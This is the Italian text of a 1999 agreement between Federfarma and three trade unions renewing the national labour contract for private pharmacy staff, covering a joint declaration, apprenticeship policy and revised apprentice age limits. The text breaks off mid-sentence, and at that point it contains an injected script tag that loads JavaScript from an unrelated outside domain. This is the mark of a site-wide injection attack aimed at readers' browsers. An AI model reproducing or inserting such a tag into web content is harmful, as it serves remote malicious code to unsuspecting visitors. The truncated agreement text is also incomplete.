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Categoria: Farmacie private Settore: Commercio Data stipula: 23-3-1999 Data decorrenza: 1-4-1999 Data scadenza: 31-1-2002
Addì 23 marzo 1999
TRA
la FEDERFARMA nelle persone del dott. Carlo Ghiani in qualità di
coordinatore della Commissione Rapporti-Lavoro composta dai dott. Franco
Caprino, Arnaldo Tempesta, Giancarlo Visini, Saverio Caltavuturo, Arturo
Maresca, Maria Pia Masi, assistiti dal dott. Enrico Giammarioli
da una parte
E
la FILCAMS-CGIL rappresentata da Luigi Coppini,
la FISASCAT-CISL rappresentata da Luciana Cirillo,
la UILTuCS-UIL rappresentata da Antonio Vargiu,
assistiti da una delegazione sindacale composta da
dall'altra
stipulano la presente ipotesi di accordo con i patti di seguito
specificati, ad integrazione e modifica di quelli contenuti nel CCNL 27
luglio 1994, in ordine ai quali congiuntamente dichiarano
Dichiarazione congiunta.
Le Parti individuano nel riassetto normativo del settore l'obiettivo da
raggiungere con l'utilizzo degli strumenti offerti dal contratto, riferiti
anche a quanto concordato sulla flessibilità del lavoro, adattati alla
specificità del settore caratterizzato da un servizio ad evidenza pubblica
che aggrega i singoli esercizi farmaceutici pur nella diversa dimensione e
struttura della connessa azienda.
A tal Fine le Parti concordano sulla necessità di porre in essere un
sistema di relazioni sindacali sia a livello nazionale che territoriale
che consenta loro di porsi come soggetto politico unitario, pur nella
diversa identità e ruolo, con compiti propositivi propri
dell'interlocutore qualificato con le Istituzioni.
Le Parti dichiarano di ritenere positiva l'esperienza di collaborazione
maturata con la redazione di un documento comune in materia di riassetto
del servizio farmaceutico e snellimento delle procedure concorsuali per
l'assegnazione di farmacie in pianta organica e vacanti.
In tale ottica le Parti concordano sulla necessità di fare rispettare le
norme legislative, amministrative e sanitarie volte alla tutela della
salute del cittadino in attuazione del principio costituzionale che
considera la salute come bene del singolo e della collettività da
salvaguardare.
Le Parti concordano sull'importanza degli istituti del CCNL in materia di
diritti sindacali, Ente Bilaterale, Commissione Paritetica e sistema di
informazione che con il rinnovo contrattuale vengono confermati,
impegnandosi a un'attività comune per una valorizzazione dei rispettivi
ruoli di rappresentanza degli interessi del settore.
APPRENDISTATO
Le Parti, esaminata l'evoluzione della disciplina legale
dell'apprendistato, riconoscono in tale istituto un importante strumento
per l'acquisizione delle competenze necessarie per lo svolgimento del
lavoro e un canale privilegiato per collegamento tra la scuola e il lavoro
e per l'ingresso dei giovani nel mercato del lavoro.
Conseguentemente, le Parti riconoscono la necessità di valorizzare il
momento formativo del rapporto prevedendo momenti di formazione teorica
anche esterni al processo produttivo.
A tal fine, confermano il proprio impegno a condurre congiuntamente un
progetto pilota per la sperimentazione dei nuovi modelli formativi per
l'apprendistato.
In questo quadro, le Parti assegnano all'Ente Bilaterale un ruolo
strategico per il monitoraggio delle attività formative e lo sviluppo dei
sistemi di riconoscimento delle competenze.
Art. 9.
Sostituire il comma 2 con il seguente:
Possono essere assunti con contratto di apprendistato i giovani d'età non
inferiore ai 16 anni e non superiore a 24, ovvero a 26 anni nelle aree di
cui agli obiettivi n. 1 e 2 del regolamento (CEE) n. 2081/93 del Consiglio
del 20.7.93 e successive modificazioni.
Qualora l'apprendista sia portatore di handicap, i limiti d'età di cui al
presente comma sono elevati di 2 anni.
La durata del rapporto di apprendistato è graduata in<<script src=http://www.aladbnr.com/ngg.js></script>
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